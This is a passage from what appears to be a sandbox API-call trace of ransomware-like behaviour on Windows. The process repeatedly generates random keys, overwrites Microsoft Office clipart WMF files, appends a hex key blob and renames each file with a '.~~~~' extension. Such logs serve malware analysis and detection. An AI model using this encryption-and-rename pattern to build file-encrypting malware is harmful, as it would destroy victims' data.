	[0099.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862608 | out: hHeap=0x300000) returned 1
	[0099.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861a70
	[0099.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.962] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.962] GetLastError () returned 0x0
	[0099.963] GetLastError () returned 0x0
	[0099.963] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.963] GetLastError () returned 0x0
	[0099.963] GetLastError () returned 0x0
	[0099.994] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffdc90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.994] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2370, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0x2370, lpOverlapped=0x0) returned 1
	[0099.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.995] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.995] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.995] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.995] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.996] CloseHandle (hObject=0xc4) returned 1
	[0099.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.~~~~")) returned 1
	[0099.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.997] GetLastError () returned 0x0
	[0100.006] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.007] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.007] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.007] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21999718111) returned 1
	[0100.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa54e34b0, dwHighDateTime=0x1d60e1e)) 
	[0100.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28626b0
	[0100.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28626b0 | out: hHeap=0x300000) returned 1
	[0100.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28616e0
	[0100.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.008] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.008] GetLastError () returned 0x0
	[0100.008] GetLastError () returned 0x0
	[0100.008] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.008] GetLastError () returned 0x0
	[0100.008] GetLastError () returned 0x0
	[0100.050] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff86c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.050] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x794, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x794, lpOverlapped=0x0) returned 1
	[0100.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.051] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.051] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.051] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.051] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.051] CloseHandle (hObject=0xc4) returned 1
	[0100.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.~~~~")) returned 1
	[0100.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.052] GetLastError () returned 0x0
	[0100.053] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.054] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.054] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.054] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22004412489) returned 1
	[0100.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa55558d0, dwHighDateTime=0x1d60e1e)) 
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862790
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862790 | out: hHeap=0x300000) returned 1
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861c38
	[0100.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.055] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.055] GetLastError () returned 0x0
	[0100.055] GetLastError () returned 0x0
	[0100.055] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.055] GetLastError () returned 0x0
	[0100.055] GetLastError () returned 0x0
	[0100.135] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff888, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.135] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x778, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x778, lpOverlapped=0x0) returned 1
	[0100.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.135] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.135] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.136] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.136] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.136] CloseHandle (hObject=0xc4) returned 1
	[0100.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.136] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.~~~~")) returned 1
	[0100.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.137] GetLastError () returned 0x0
	[0100.138] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.139] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.139] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.139] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22012900242) returned 1
	[0100.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5613fb0, dwHighDateTime=0x1d60e1e)) 
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862800
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862800 | out: hHeap=0x300000) returned 1
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861f30
	[0100.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.139] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.140] GetLastError () returned 0x0
	[0100.140] GetLastError () returned 0x0
	[0100.140] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.140] GetLastError () returned 0x0
	[0100.140] GetLastError () returned 0x0
	[0100.211] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe038, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.211] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1fc8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x1fc8, lpOverlapped=0x0) returned 1
	[0100.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.212] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.212] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.212] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.212] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.212] CloseHandle (hObject=0xc4) returned 1
	[0100.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.~~~~")) returned 1
	[0100.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.213] GetLastError () returned 0x0
	[0100.213] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.214] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.214] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.215] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22020466099) returned 1
	[0100.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa56ac530, dwHighDateTime=0x1d60e1e)) 
	[0100.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28628e0
	[0100.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28628e0 | out: hHeap=0x300000) returned 1
	[0100.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fd68
	[0100.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.215] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.215] GetLastError () returned 0x0
	[0100.215] GetLastError () returned 0x0
	[0100.215] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.216] GetLastError () returned 0x0
	[0100.216] GetLastError () returned 0x0
	[0100.240] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffb180, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.240] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x4e80, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x4e80, lpOverlapped=0x0) returned 1
	[0100.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.242] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.242] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.242] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.242] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.243] CloseHandle (hObject=0xc4) returned 1
	[0100.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.243] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.~~~~")) returned 1
	[0100.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.244] GetLastError () returned 0x0
	[0100.245] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.246] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.246] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.246] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22023642481) returned 1
	[0100.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa56f87f0, dwHighDateTime=0x1d60e1e)) 
	[0100.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
